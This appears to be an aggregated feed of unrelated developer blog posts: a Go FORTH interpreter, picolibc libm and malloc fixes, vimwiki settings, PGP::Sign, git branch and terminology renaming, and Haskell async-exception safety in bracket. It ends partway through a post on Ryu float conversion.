Four years ago somebody posted a comment-thread describing how you could start writing a little reverse-polish calculator, in C, and slowly improve it until you had written a minimal FORTH-like system:

• https://news.ycombinator.com/item?id=13082825

At the time I read that comment I'd just hacked up a simple FORTH REPL of my own, in Perl, and I said "thanks for posting". I was recently reminded of this discussion, and decided to work through the process. Using only minimal outside resources the recipe worked as expected! The end-result is I have a working FORTH-lite, or FORTH-like, interpreter written in around 2000 lines of golang! Features include:

• Reverse-Polish mathematical operations.
• Comments between ( and ) are ignored, as expected.
  • Single-line comments \ to the end of the line are also supported.
• Support for floating-point numbers (anything that will fit inside a float64).
• Support for printing the top-most stack element (., or print).
• Support for outputting ASCII characters (emit).
• Support for outputting strings (." Hello, World ").
• Support for basic stack operations (drop, dup, over, swap)
• Support for loops, via do/loop.
• Support for conditional-execution, via if, else, and then.
• Load any files specified on the command-line
  • If no arguments are included run the REPL
• A standard library is loaded, from the present directory, if it is present.

To give a flavour here we define a word called star which just outputs a single start-character:

: star 42 emit ;

Now we can call that (NOTE: We didn't add a newline here, so the REPL prompt follows it, that's expected):

> star
*>

To make it more useful we define the word "stars" which shows N stars:

> : stars dup 0 > if 0 do star loop else drop then ;
> 0 stars
> 1 stars
*> 2 stars
**> 10 stars
**********>

This example uses both if to test that the parameter on the stack was greater than zero, as well as do/loop to handle the repetition. Finally we use that to draw a box:

> : squares 0 do over stars cr loop ;
> 4 squares
****
****
****
****
> 10 squares
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********

For fun we allow decompiling the words too:

> #words 0 do dup dump loop
..
Word 'square'
 0: dup
 1: *
Word 'cube'
 0: dup
 1: square
 2: *
Word '1+'
 0: store 1.000000
 2: +
Word 'test_hot'
  0: store 0.000000
  2: >
  3: if
  4: [cond-jmp 7.000000]
  6: hot
  7: then
..

Anyway if that is at all interesting feel free to take a peak. There's a bit of hackery there to avoid the use of return-stacks, etc. Compared to gforth this is actually more featureful in some areas:

• I allow you to use conditionals in the REPL - outside a word-definition.
• I allow you to use loops in the REPL - outside a word-definition.

Find the code here:

• https://github.com/skx/foth

Picolibc Updates I thought work on picolibc would slow down at some point, but I keep finding more things that need work. I spent a few weeks working in libm and then discovered some important memory allocation bugs in the last week that needed attention too. Cleaning up the Picolibc Math Library Picolibc uses the same math library sources as newlib, which includes code from a range of sources:

• SunPro (Sun Microsystems). This forms the bulk of the common code for the math library, with copyright dates stretching back to 1993. This code is designed for processors with FPUs and uses 'float' for float functions and 'double' for double functions.
• NetBSD. This is where the complex functions came from, with Copyright dates of 2007.
• FreeBSD. fenv support for aarch64, arm and sparc
• IBM. SPU processor support along with a number of stubs for long-double support where long double is the same as double
• Various processor vendors have provided processor-specific code for exceptions and a few custom functions.
• Szabolcs Nagy and Wilco Dijkstra (ARM). These two re-implemented some of the more important functions in 2017-2018 for both float and double using double precision arithmetic and fused multiply-add primitives to improve performance for systems with hardware double precision support.

The original SunPro math code had been split into two levels at some point:

1. IEEE-754 functions. These offer pure IEEE-754 semantics, including return values and exceptions. They do not set the POSIX errno value. These are all prefixed with __ieee754_ and can be called directly by applications if desired.
2. POSIX functions. These can offer POSIX semantics, including setting errno and returning expected values when errno is set.

New Code Sponsored by ARM Szabolcs Nagy and Wilco Dijkstra's work in the last few years has been to improve the performance of some of the core math functions, which is much appreciated. They've adopted a more modern coding style (C99) and written faster code at the expense of a larger memory foot print. One interesting choice was to use double computations for the float implementations of various functions. This makes these functions shorter and more accurate than versions done using float throughout. However, for machines which don't have HW double, this pulls in soft double code which adds considerable size to the resulting binary and slows down the computations, especially if the platform does support HW float. The new code also takes advantage of HW fused-multiply-add instructions. Those offer more precision than a sequence of primitive instructions, and so the new code can be much shorter as a result. The method used to detect whether the target machine supported fma operations was slightly broken on 32-bit ARM platforms, where those with 'float' fma acceleration but without 'double' fma acceleration would use the shorter code sequence, but with an emulated fma operation that used the less-precise sequence of operations, leading to significant reductions in the quality of the resulting math functions. I fixed the double fma detection and then also added float fma detection along with implementations of float and double fma for ARM and RISC-V. Now both of those platforms get fma-enhanced math functions where available. Errno Adventures I'd submitted patches to newlib a while ago that aliased the regular math library names to the __ieee754_ functions when the library was configured to not set errno, which is pretty common for embedded environments where a shared errno is a pain anyways. Note the use of the word can in remark about the old POSIX wrapper functions. That's because all of these functions are run-time switchable between _IEEE_ and _POSIX_ mode using the _LIB_VERSION global symbol. When left in the usual _IEEE_ mode, none of this extra code was ever executed, so these wrapper functions never did anything beyond what the underlying __ieee754_ functions did. The new code by Nagy and Dijkstra changed how functions are structured to eliminate the underlying IEEE-754 api. These new functions use tail calls to various __math_ error reporting functions. Those can be configured at library build time to set errno or not, centralizing those decisions in a few functions. The result of this combination of source material is that in the default configuration, some library functions (those written by Nagy and Dijkstra) would set errno and others (the old SunPro code) would not. To disable all errno references, the library would need to be compiled with a set of options, -D_IEEE_LIBM to disable errno in the SunPro code and -DWANT_ERRNO=0 to disable errno in the new code. To enable errno everywhere, you'd set -D_POSIX_MODE to make the default value for _LIB_VERSION be _POSIX_ instead of _IEEE_. To clean all of this up, I removed the run-time _LIB_VERSION variable and made that compile-time. In combination with the earlier work to alias the __ieee754_ functions to the regular POSIX names when _IEEE_LIBM was defined this means that the old SunPro POSIX functions now only get used when _IEEE_LIBM is not defined, and in that case the _LIB_VERSION tests always force use of the errno setting code. In addition, I made the value of WANT_ERRNO depend on whether _IEEE_LIBM was defined, so now a single definition (-D_IEEE_LIBM) causes all of the errno handling from libm to be removed, independent of which code is in use. As part of this work, I added a range of errno tests for the math functions to find places where the wrong errno value was being used. Exceptions As an alternative to errno, C also provides for IEEE-754 exceptions through the fenv functions. These have some significant advantages, including having independent bits for each exception type and having them accumulate instead of sharing errno with a huge range of other C library functions. Plus, they're generally implemented in hardware, so you get exceptions for both library functions and primitive operations. Well, you should get exceptions everywhere, except that the GCC soft float libraries don't support them at all. So, errno can still be useful if you need to know what happened in your library functions when using soft floats. Newlib has recently seen a spate of fenv support being added for various architectures, so I decided that it would be a good idea to add some tests. I added tests for both primitive operations, and then tests for library functions to check both exceptions and errno values. Oddly, this uncovered a range of minor mistakes in various math functions. Lots of these were mistakes in the SunPro POSIX wrapper functions where they modified the return values from the __ieee754_ implementations. Simply removing those value modifications fixed many of those errors. Fixing Memory Allocator bugs Picolibc inherits malloc code from newlib which offers two separate implementations, one big and fast, the other small and slow(er). Selecting between them is done while building the library, and as Picolibc is expected to be used on smaller systems, the small and slow one is the default. Contributed by someone from ARM back in 2012/2013, nano-mallocr reminds me of the old V7 memory allocator. A linked list, sorted in address order, holds discontiguous chunks of available memory. Allocation is done by searching for a large enough chunk in the list. The first one large enough is selected, and if it is large enough, a chunk is split off and left on the free list while the remainder is handed to the application. When the list doesn't have any chunk large enough, sbrk is called to get more memory. Free operations involve walking the list and inserting the chunk in the right location, merging the freed memory with any immediately adjacent chunks to reduce fragmentation. The size of each chunk is stored just before the first byte of memory used by the application, where it remains while the memory is in use and while on the free list. The free list is formed by pointers stored in the active area of the chunk, so the only overhead for chunks in use is the size field. Something Something Padding To deal with the vagaries of alignment, the original nano-mallocr code would allow for there to be 'padding' between the size field and the active memory area. The amount of padding could vary, depending on the alignment required for a particular chunk (in the case of memalign, that padding can be quite large). If present, nano-mallocr would store the padding value in the location immediately before the active area and distinguish that from a regular size field by a negative sign. The whole padding thing seems mysterious to me -- why would it ever be needed when the allocator could simply create chunks that were aligned to the required value and a multiple of that value in size. The only use I could think of was for memalign; adding this padding field would allow for less over-allocation to find a suitable chunk. I didn't feel like this one (infrequent) use case was worth the extra complexity; it certainly caused me difficulty in reading the code. A Few Bugs In reviewing the code, I found a couple of easy-to-fix bugs.

• calloc was not checking for overflow in multiplication. This is something I've only heard about in the last five or six years -- multiplying the size of each element by the number of elements can end up wrapping around to a small value which may actually succeed and cause the program to mis-behave.
• realloc copied new_size bytes from the original location to the new location. If the new size was larger than the old, this would read off the end of the original allocation, potentially disclosing information from an adjacent allocation or walk off the end of physical memory and cause some hard fault.

Time For Testing Once I had uncovered a few bugs in this code, I decided that it would be good to write a few tests to exercise the API. With the tests running on four architectures in nearly 60 variants, it seemed like I'd be able to uncover at least a few more failures:

• Error tests. Allocating too much memory and make sure the correct errors were returned and that nothing obviously untoward happened.
• Touch tests. Just call the allocator and validate the return values.
• Stress test. Allocate lots of blocks, resize them and free them. Make sure, using 'mallinfo', that the malloc arena looked reasonable.

These new tests did find bugs. But not where I expected them. Which is why I'm so fond of testing. GCC Optimizations One of my tests was to call calloc and make sure it returned a chunk of memory that appeared to work or failed with a reasonable value. To my surprise, on aarch64, that test never finished. It worked elsewhere, but on that architecture it hung in the middle of calloc itself. Which looked like this:

void * nano_calloc(malloc_size_t n, malloc_size_t elem)
 
    ptrdiff_t bytes;
    void * mem;
    if (__builtin_mul_overflow (n, elem, &bytes))
     
    RERRNO = ENOMEM;
    return NULL;
     
    mem = nano_malloc(bytes);
    if (mem != NULL) memset(mem, 0, bytes);
    return mem;
 

Note the naming here -- nano_mallocr uses nano_ prefixes in the code, but then uses #defines to change their names to those expected in the ABI. (No, I don't understand why either). However, GCC sees the real names and has some idea of what these functions are supposed to do. In particular, the pattern:

foo = malloc(n);
if (foo) memset(foo, '\0', n);

is converted into a shorter and semantically equivalent:

foo = calloc(n, 1);

Alas, GCC doesn't take into account that this optimization is occurring inside of the implementation of calloc. Another sequence of code looked like this:

chunk->size = foo
nano_free((char *) chunk + CHUNK_OFFSET);

Well, GCC knows that the content of memory passed to free cannot affect the operation of the application, and so it converted this into:

nano_free((char *) chunk + CHUNK_OFFSET);

Remember that nano_mallocr stores the size of the chunk just before the active memory. In this case, nano_mallocr was splitting a large chunk into two pieces, setting the size of the left-over part and placing that on the free list. Failing to set that size value left whatever was there before for the size and usually resulted in the free list becoming quite corrupted. Both of these problems can be corrected by compiling the code with a couple of GCC command-line switches (-fno-builtin-malloc and -fno-builtin-free). Reworking Malloc Having spent this much time reading through the nano_mallocr code, I decided to just go through it and make it easier for me to read today, hoping that other people (which includes 'future me') will also find it a bit easier to follow. I picked a couple of things to focus on:

1. All newly allocated memory should be cleared. This reduces information disclosure between whatever code freed the memory and whatever code is about to use the memory. Plus, it reduces the effect of un-initialized allocations as they now consistently get zeroed memory. Yes, this masks bugs. Yes, this goes slower. This change is dedicated to Kees Cook, but please blame me for it not him.
2. Get rid of the 'Padding' notion. Every time I read this code it made my brain hurt. I doubt I'll get any smarter in the future.
3. Realloc could use some love, improving its efficiency in common cases to reduce memory usage.
4. Reworking linked list walking. nano_mallocr uses a singly-linked free list and open-codes all list walking. Normally, I'd switch to a library implementation to avoid introducing my own bugs, but in this fairly simple case, I think it's a reasonable compromise to open-code the list operations using some patterns I learned while working at MIT from Bob Scheifler.
5. Discover necessary values, like padding and the limits of the memory space, from the environment rather than having them hard-coded.

Padding To get rid of 'Padding' in malloc, I needed to make sure that every chunk was aligned and sized correctly. Remember that there is a header on every allocated chunk which is stored before the active memory which contains the size of the chunk. On 32-bit machines, that size is 4 bytes. If the machine requires allocations to be aligned on 8-byte boundaries (as might be the case for 'double' values), we're now going to force the alignment of the header to 8-bytes, wasting four bytes between the size field and the active memory. Well, the existing nano_mallocr code also wastes those four bytes to store the 'padding' value. Using a consistent alignment for chunk starting addresses and chunk sizes has made the code a lot simpler and easier to reason about while not using extra memory for normal allocation. Except for memalign, which I'll cover in the next section. realloc The original nano_realloc function was as simple as possible:

mem = nano_malloc(new_size);
if (mem)  
    memcpy(mem, old, MIN(old_size, new_size));
    nano_free(old);
 
return mem;

However, this really performs badly when the application is growing a buffer while accumulating data. A couple of simple optimizations occurred to me:

1. If there's a free chunk just after the original location, it could be merged to the existing block and avoid copying the data.
2. If the original chunk is at the end of the heap, call sbrk() to increase the size of the chunk.

The second one seems like the more important case; in a small system, the buffer will probably land at the end of the heap at some point, at which point growing it to the size of available memory becomes quite efficient. When shrinking the buffer, instead of allocating new space and copying, if there's enough space being freed for a new chunk, create one and add it to the free list. List Walking Walking singly-linked lists seem like one of the first things we see when learning pointer manipulation in C:

for (element = head; element; element = element->next)
    do stuff ...

However, this becomes pretty complicated when 'do stuff' includes removing something from the list:

prev = NULL;
for (element = head; element; element = element->next)
    ...
    if (found)
        break;
    ...
    prev = element
if (prev != NULL)
    prev->next = element->next;
else
    head = element->next;

An extra variable, and a test to figure out how to re-link the list. Bob showed me a simpler way, which I'm sure many people are familiar with:

for (ptr = &head; (element = *ptr); ptr = &(element->next))
    ...
    if (found)
        break;
*ptr = element->next;

Insertion is similar, as you would expect:

for (ptr = &head; (element = *ptr); ptr = &(element->next))
    if (found)
        break;
new_element->next = element;
*ptr = new_element;

In terms of memory operations, it's the same -- each 'next' pointer is fetched exactly once and the list is re-linked by performing a single store. In terms of reading the code, once you've seen this pattern, getting rid of the extra variable and the conditionals around the list update makes it shorter and less prone to errors. In the nano_mallocr code, instead of using 'prev = NULL', it actually used 'prev = free_list', and the test for updating the head was 'prev == element', which really caught me unawares. System Parameters Any malloc implementation needs to know a couple of things about the system it's running on:

1. Address space. The maximum range of possible addresses sets the limit on how large a block of memory might be allocated, and hence the size of the 'size' field. Fortunately, we've got the 'size_t' type for this, so we can just use that.
2. Alignment requirements. These derive from the alignment requirements of the basic machine types, including pointers, integers and floating point numbers which are formed from a combination of machine requirements (some systems will fault if attempting to use memory with the wrong alignment) along with a compromise between memory usage and memory system performance.

I decided to let the system tell me the alignment necessary using a special type declaration and the 'offsetof' operation:

typedef struct  
    char c;
    union  
    void *p;
    double d;
    long long ll;
    size_t s;
      u;
  align_t;
#define MALLOC_ALIGN        (offsetof(align_t, u))

Because C requires struct fields to be stored in order of declaration, the 'u' field would have to be after the 'c' field, and would have to be assigned an offset equal to the largest alignment necessary for any of its members. Testing on a range of machines yields the following alignment requirements:

Architecture	Alignment
x86_64	8
RISC-V	8
aarch64	8
arm	8
x86	4

So, I guess I could have just used a constant value of '8' and not worried about it, but using the compiler-provided value means that running picolibc on older architectures might save a bit of memory at no real cost in the code. Now, the header containing the 'size' field can be aligned to this value, and all allocated blocks can be allocated in units of this value. memalign memalign, valloc and pvalloc all allocate memory with restrictions on the alignment of the base address and length. You'd think these would be simple -- allocate a large chunk, align within that chunk and return the address. However, they also all require that the address can be successfully passed to free. Which means that the allocator needs to do some tricks to make it all work. Essentially, you allocate 'lots' of memory and then arrange that any bytes at the head and tail of the allocation can be returned to the free list. The tail part is easy; if it's large enough to form a free chunk (which must contain the size and a 'next' pointer for the free list), it can be split off. Otherwise, it just sits at the end of the allocation being wasted space. The head part is a bit tricky when it's not large enough to form a free chunk. That's where the 'padding' business came in handy; that can be as small as a 'size_t' value, which (on 32-bit systems) is only four bytes. Now that we're giving up trying to reason about 'padding', any extra block at the start must be big enough to hold a free block, which includes the size and a next pointer. On 32-bit systems, that's just 8 bytes which (for most of our targets) is the same as the alignment value we're using. On 32-bit systems that can use 4-byte alignment, and on 64-bit systems, it's possible that the alignment required by the application for memalign and the alignment of a chunk returned by malloc might be off by too small an amount to create a free chunk. So, we just allocate a lot of extra space; enough so that we can create a block of size 'toosmall + align' at the start and create a free chunk of memory out of that. This works, and at least returns all of the unused memory back for other allocations. Sending Patches Back to Newlib I've sent the floating point fixes upstream to newlib where they've already landed on master. I've sent most of the malloc fixes, but I'm not sure they really care about seeing nano_mallocr refactored. If they do, I'll spend the time necessary to get the changes ported back to the newlib internal APIs and merged upstream.

At the start of the year I begun keeping a daily diary for work as a simple text file. I've used various other approaches for this over the years, including many paper diaries and more complex digital systems. One great advantage of the one-page text file was it made assembling my weekly status report email very quick, nearly just a series of copies and pastes. But of course there are drawbacks and room for improvement. vimwiki is a personal wiki plugin for the vim and neovim editors. I've tried to look at it before, years ago, but I found it too invasive, changing key bindings and display settings for any use of vim, and I use vim a lot. I decided to give it another look. The trigger was actually something completely unrelated: Steve Losh's blog post "Coming Home to vim". I've been using vim for around 17 years but I still learned some new things from that blog post. In particular, I've never bothered to Use The Leader for user-specific shortcuts. The Leader, to me, feels like a namespace that plugins should not touch: it's like the /usr/local of shortcut keys, a space for the local user only. Vimwiki's default bindings include several incorporating the Leader. Of course since I didn't use the leader, those weren't the ones that bothered me: It turns out I regularly use carriage return and backspace for moving the cursor around in normal mode, and Vimwiki steals both of those. It also truncates the display of (what it thinks are) URIs. It turns out I really prefer to see exactly what's in the file I'm editing. I haven't used vim folds since I first switched to it, despite them being why I switched. Disabling all the default bindings and URI concealing stuff and Vimwiki is now much less invasive and I can explore its features at my own pace:

let g:vimwiki_key_mappings =   'all_maps': 0,  
let g:vimwiki_conceallevel = 0
let g:vimwiki_url_maxsave = 0 

Followed by explicitly configuring the bindings I want. I'm letting it steal carriage return. And yes, I've used some Leader bindings after all.

nnoremap <leader>ww :VimwikiIndex<cr>
nnoremap <leader>wi :VimwikiDiaryIndex<cr>
nnoremap <leader>wd :VimwikiMakeDiaryNote<cr>
nnoremap <CR> :VimwikiFollowLink<cr>
nnoremap <Tab> :VimwikiNextLink<cr>
nnoremap <S-Tab> :VimwikiPrevLink<cr>
nnoremap <C-Down> :VimwikiDiaryNextDay<cr>
nnoremap <C-Up> :VimwikiDiaryPrevDay<cr>

,wd (my leader) now brings me straight to today's diary page, and I can create separate, non-diary pages for particular work items (e.g. a Ticket reference) that will span more than one day, and keep all the relevant stuff in one place.

Many people labour under the assumption that pop culture is trivial and useless while only 'high' art can grant us genuine and eternal knowledge about the world. Given that we have a finite time on this planet, we are all permitted to enjoy pop culture up to a certain point, but we should always minimise our interaction with it, and consume more moral and intellectual instruction wherever possible. Or so the theory goes. What these people do not realise is that pop and mass culture can often provide more information about the world, humanity in general and what is even more important ourselves. This is not quite the debate around whether high art is artistically better, simply that pop culture can be equally informative. Jeremy Bentham argued in the 1820s that "prejudice apart, the game of push-pin is of equal value with the arts and sciences of music and poetry", that it didn't matter where our pleasures come from. (John Stuart Mill, Bentham's intellectual rival, disagreed.) This fundamental question of philosophical utilitarianism will not be resolved here. However, what might begin to be resolved is our instinctive push-back against pop culture. We all share an automatic impulse to disregard things we do not like and to pretend they do not exist, but this wishful thinking does not mean that these cultural products do not continue to exist when we aren't thinking about them and, more to our point, continue to influence others and even ourselves. Take, for example, the recent trend for 'millennial pink'. With its empty consumerism, faux nostalgia, reductive generational stereotyping, objectively ugly sthetics and tedious misogyny (photographed with Rose Gold iPhones), the very combination appears to have been deliberately designed to annoy me, curiously providing circumstantial evidence in favour of intelligent design. But if I were to immediately dismiss millennial pink and any of the other countless cultural trends I dislike simply because I find them disagreeable, I would be willingly keeping myself blind to their underlying ideology, their significance and their effect on society at large. If I had any ethical or political reservations I might choose not to engage with them economically or to avoid advertising them to others, but that is a different question altogether. Even if we can't notice this pattern within ourselves we can first observe it in others. We can all recall moments where someone has brushed off a casual reference to pop culture, be it Tiger King, TikTok, team sports or Taylor Swift; if you can't, simply look for the abrupt change of tone and the slightly-too-quick dismissal. I am not suggesting you attempt to dissuade others or even to point out this mental tic, but merely seeing it in action can be highly illustrative in its own way. In summary, we can simultaneously say that pop culture is not worthy of our time relative to other pursuits while consuming however much of it we want, but deliberately dismissing pop culture doesn't mean that a lot of other people are not interacting with it and is therefore undeserving of any inquiry. And if that doesn't convince you, just like the once-unavoidable millennial pink, simply sticking our collective heads in the sand will not mean that wider societal-level ugliness is going to disappear anytime soon. Anyway, that's a very long way of justifying why I plan to re-watch TNG.

This is the first new release of PGP::Sign in 13 years, so it's long-overdue. I have finally updated it in preparation for creating a new, more modern signing key for the Big Eight Usenet hierarchies and issuing control messages with both the old and new keys, using GnuPG v2 for the new key. The biggest change in this release is that it drops support for all OpenPGP implementations other than GnuPG, and adds support for GnuPG v2. I think some of the other PGP implementations are still around, but I haven't seen them in years and have no way to test against them, so it didn't seem worthwhile to continue to support them. GnuPG v2 support is obviously long-overdue, given that we're getting close to the point where GnuPG v1 will start disappearing from distributions. The default backend is now GnuPG v2, although the module can be configured to use GnuPG v1 instead. This release also adds a new object-oriented API. When I first wrote this module, it was common in the Perl community to have functional APIs configured with global variables. Subsequently we've learned this is a bad idea for a host of reasons, and I finally got around to redoing the API. It's still not perfect (in particular, the return value of the verify method is still a little silly), but it's much nicer. The old API is still supported, implemented as a shim in front of the new API. A few other, more minor changes in this release:

• Status output from GnuPG is now kept separate from human-readable log and error output for more reliable parsing.
• Pass --allow-weak-digest-algos to GnuPG so it can use old keys and verify signatures from old keys, such as those created with PGP 2.6.2.
• pgp_sign, when called in array context, now always returns "GnuPG" as the version string, and the version passed into pgp_verify is always ignored. Including the OpenPGP implementation version information in signatures is obsolete; GnuPG no longer does it by default and it serves no useful purpose.
• When calling pgp_sign multiple times in the same process with whitespace munging enabled, trailing whitespace without a newline could have leaked into the next invocation of pgp_sign, resulting in an invalid signature. Clear any remembered whitespace between pgp_sign invocations.

It also now uses IPC::Run and File::Temp instead of hand-rolling equivalent functionality, and the module build system is now Module::Build. You can get the latest version from CPAN or from the PGP::Sign distribution page.

I have been convinced by the arguments that it's not nice to keep using the word master for the default git branch. Regardless of the etymology (which is unclear), some people say they have negative associations for this word, Changing this upstream in git is complicated on a technical level and, sadly, contested. But git is flexible enough that I can make this change in my own repositories. Doing so is not even so difficult. So: Announcement I intend to rename master to trunk in all repositories owned by my personal hat. To avoid making things very complicated for myself I will just delete refs/heads/master when I make this change. So there may be a little disruption to downstreams. I intend make this change everywhere eventually. But rather than front-loading the effort, I'm going to do this to repositories as I come across them anyway. That will allow me to update all the docs references, any automation, etc., at a point when I have those things in mind anyway. Also, doing it this way will allow me to focus my effort on the most active projects, and avoids me committing to a sudden large pile of fiddly clerical work. But: if you have an interest in any repository in particular that you want updated, please let me know so I can prioritise it. Bikeshed Why "trunk"? "Main" has been suggested elswewhere, and it is often a good replacement for "master" (for example, we can talk very sensibly about a disk's Main Boot Record, MBR). But "main" isn't quite right for the VCS case; for example a "main" branch ought to have better quality than is typical for the primary development branch. Conversely, there is much precedent for "trunk". "Trunk" was used to refer to this concept by at least SVN, CVS, RCS and CSSC (and therefore probably SCCS) - at least in the documentation, although in some of these cases the command line API didn't have a name for it. So "trunk" it is. Aside: two other words - passlist, blocklist People are (finally!) starting to replace "blacklist" and "whitelist". Seriously, why has it taken everyone this long? I have been using "blocklist" and "passlist" for these concepts for some time. They are drop-in replacements. I have also heard "allowlist" and "denylist" suggested, but they are cumbersome and cacophonous. Also "allow" and "deny" seem to more strongly imply an access control function than merely "pass" and "block", and the usefulness of passlists and blocklists extends well beyond access control: protocol compatibility and ABI filtering are a couple of other use cases.

comments

LWN published today yet another great piece of writing, Loaded terms in free software. I am sorry, the content will not be immediately available to anybody following at home, as LWN is based on a subscription model But a week from now, the article will be open for anybody to read. Or you can ask me (you most likely can find my contact addresses, as they are basically everywhere) for a subscriber link, I will happily provide it. In consonance with the current mood that started with the killing of George Floyd and sparked worldwide revolts against police brutality, racism (mostly related to police and law enforcement forces, but social as well) and the like, the debate that already started some months ago in technical communities has re-sparked: We have many terms that come with long histories attached to them, and we are usually oblivious to their obvious meaning. We? Yes, we, the main users and creators of technology. I never felt using master and slave to refer to different points of a protocol, bus, clock or whatever (do refer to the Wikipedia article for a fuller explanation) had any negative connotations but then again, those terms have never tainted my personal family. That is, I understand I speak from a position of privilege. A similar although less heated issue goes around the blacklist and whitelist terms, or other uses that use white to refer to good, law-abiding citizens, and black to refer to somewhat antisocial uses (i.e. the white hat and black hat hackers). For several years, this debate has been sparking and dying off. Some important changes have been made Particularly, in 2017 the Internet Software Consortium started recommending Primary and Secondary, Python dropped master/slave pairs after a quite thorough and deep review throughout 2018, GitHub changed the default branch from master to main earlier this week. The Internet Engineering Task Force has a draft (that lapsed and thus sadly didn t become an RFC, but still, is archived), Terminology, Power and Oppressive Language that lists suggested alternatives:

There are also many other relationships that can be used as metaphors, Eglash s research calls into question the accuracy of the master-slave metaphor. Fortunately, there are ample alternatives for the master-slave relationship. Several options are suggested here and should be chosen based on the pairing that is most clear in context:

• Primary-secondary
• Leader-follower
• Active-standby
• Primary-replica
• Writer-reader
• Coordinator-worker
• Parent-helper

I ll add that I think we Spanish-speakers are not fully aware of the issue s importance, because the most common translation I have seen for master/slave is maestro/esclavo: Maestro is the word for teacher (although we do keep our slaves in place). But think whether it sounds any worse if you refer to device pairs, or members of a database high-availability cluster, or whatever as Amo and Esclavo. It does sound much worse I cannot add much of value to this debate. I am just happy issues like this are being recognized and dealt with. If the topic interests you, do refer to the LWN article! Some excrepts: I consider the following to be the core of Jonathan Corbet s writeup:

Recent events, though, have made it clear even to those of us who were happy to not question this view that the story of slavery and the wider racist systems around it is not yet finished. There are many people who are still living in the middle of it, and it is not a nice place to be. We are not so enlightened as we like to think we are. If there is no other lesson from the events of the last few weeks, we should certainly take to heart the point that we need to be listening to the people who have been saying, for many years, that they are still suffering. If there are people who are telling us that terms like slave or blacklist are a hurtful reminder of the inequities that persist in our society, we need to accept that as the truth and act upon it. Etymological discussions on what, say, master really means may be interesting, but they miss the point and are irrelevant to this discussion.

Part of a comment by user yokem_55:

Often, it seems to me that the replacement words are much more descriptive and precise than the old language. Allowlist is far more obviously a list of explicitly authorized entities than whitelist . Mainline has a more obvious meaning of a core stream of development than master . The benefit of moving past this language is more than just changing cultural norms, it s better, more precise communication across the board.

Another spot-on comment, by user alan:

From my perspective as a Black American male, I think that it s nice to see people willing to see and address racism in various spheres. I am concerned that some of these steps will be more performative than substantial. Terminology changes in software so as to be more welcoming is a nice thing. Ensuring that oppressed minorities have access to the tools and resources to help reduce inequity and ensuring equal protection under the laws is better. We ll get there one day I m sure. The current ask is much simpler, its just to stop randomly killing and terrorizing us. Please and thank you.

So Maybe the protests of this year caught special notoriety because the society is reacting after (or during, for many of us) the lockdown. In any case, I hope for their success in changing the planet s culture of oppression.

Comments Tomas Janousek 2020-06-19 10:04:32 +0200 In the blog post On masters and slaves, whitelists and blacklists you claim that GitHub changed the default branch from master to main earlier this week but I don t think that change is in effect yet. When you create a repo, the default branch is still named master . Gunnar Wolf 2020-06-19 11:52:30 -0500 Umh, seems you are right. Well, what can I say? I m reporting only what I have been able to find / read Now, given that said master branch does not carry any Git-specific meaning and is just a commonly used configuration I hope people start picking it up. No, I have not renamed master branches in any of my repos but intend to do so soonish. Tomas Janousek 2020-06-19 20:01:52 +0200 Yeah, don t worry. I just find it sad that so much inaccurate news is spreading from a single CEO tweet, and I wanted to help stop that. I m sure some change will happen eventually, but until it does, we shouldn t speak about it in the past tense. :-)

I've been digging into async exceptions in haskell, and getting more and more concerned. In particular, bracket seems to be often used in ways that are not async exception safe. I've found multiple libraries with problems. Here's an example:

withTempFile a = bracket setup cleanup a
  where
    setup = openTempFile "/tmp" "tmpfile"
    cleanup (name, h) = do
        hClose h
        removeFile name

This looks reasonably good, it makes sure to clean up after itself even when the action throws an exception. But, in fact that code can leave stale temp files lying around. If the thread receives an async exception when hClose is running, it will be interrupted before the file is removed. We normally think of bracket as masking exceptions, but it doesn't prevent async exceptions in all cases. See Control.Exception on "interruptible operations", which can receive async exceptions even when other exceptions are masked. It's a bit surprising, but hClose is such an interruptable operation, because it flushes the write buffer. The only way to know is to read the code. It can be quite hard to determine if an operation is interruptable, since it can come down to whether it retries a STM transaction, or uses a MVar that is not always full. I've been auditing libraries and I often have to look at code several dependencies away, and even then may not be sure if a library has this problem.

• process's withCreateProcess could fail to wait on the process, leaving a zombie. Might also leak file descriptors?
• http-client's withResponse might fail to close a network connection. (If a MVar happened to be empty when it's called.) Worth noting that there are plenty of examples of using http-client to eg, race downloading two urls and cancel the slower download. Which is just the kind of use of an async exception that could cause a problem.
• persistent's withSqlPool and withSqlConn might fail to clean up, when used with persistent-postgresql. (If another thread is using the connection and so a MVar over in postgresql-simple is empty.)
• concurrent-output has some locking code that is not async exception safe. (My library, so I've fixed part of it, and hope to fix the rest.)

So far, around half of the libraries I've looked at, that use bracket or onException or the like probably have this problem. What can libraries do?

• Document whether these things are async exception safe. Or perhaps there should be an expectation that "withFoo" always is, but if so the Haskell comminity has some work ahead of it.
• Use finally. Good mostly in simple situations; more complicated things would be hard to write this way.

  hClose h  finally  removeFile name
  

• Use uninterruptibleMask, but it's a big hammer and is often not the right tool for the job. If the operation takes a while to run, the program will not respond to ctrl-c during that time.
• May be better to run the actions in worker threads, to insulate them from receiving any async exceptions.

  bracketInsulated :: IO a -> (a -> IO b) -> (a -> IO c) -> IO c
  bracketInsulated a b = bracket
    (uninterruptibleMask $ \u -> async (u a) >>= u . wait)
    (\v -> uninterruptibleMask $ \u -> async (u (b v)) >>= u . wait)
  

  (Note use of uninterruptibleMask here in case async itself does an interruptable operation. My first version got that wrong.. This is hard!)

My impression of the state of things now is that you should be very cautious using race or cancel or withAsync or the like, unless the thread is small and easy to audit for these problems. Kind of a shame, since I had wanted to be able to cancel a thread that is big and sprawling and uses all the libraries mentioned above.

---

This work was sponsored by Jake Vosloo and Graham Spencer on Patreon.

Float/String Conversion in Picolibc: Enter Ry I recently wrote about this topic having concluded that the best route for now was to use the malloc-free, but imprecise, conversion routines in the tinystdio alternative. A few days later, Sreepathi Pai pointed me at some very recent work in this area:

• Ry : Fast Float-to-String Conversion (PLDI 2019)
• Ry revisited: printf floating point conversion (OOPSLA 2020)

This is amazing! Thirty years after the papers referenced in the previous post, Ulf Adams came up with some really cool ideas and managed to reduce the math required for 64-bit conversion to 128 bit integers. This is a huge leap forward; we were doing long multi-precision computations before, and now it's all short enough to fit in registers (ok, a lot of registers, but still). Getting the Ry Code The code is available on github: https://github.com/ulfjack/ryu. Reading through it, it's very clear that the author focuses on performance with lots of tuning for common cases. Still, it's quite readable, especially compared with the newlib multi-precision based code. Picolibc String/Float conversion interface Picolibc has some pretty basic needs for the float/string conversion code, it wants four functions:

1. __dtoa_engine

   int
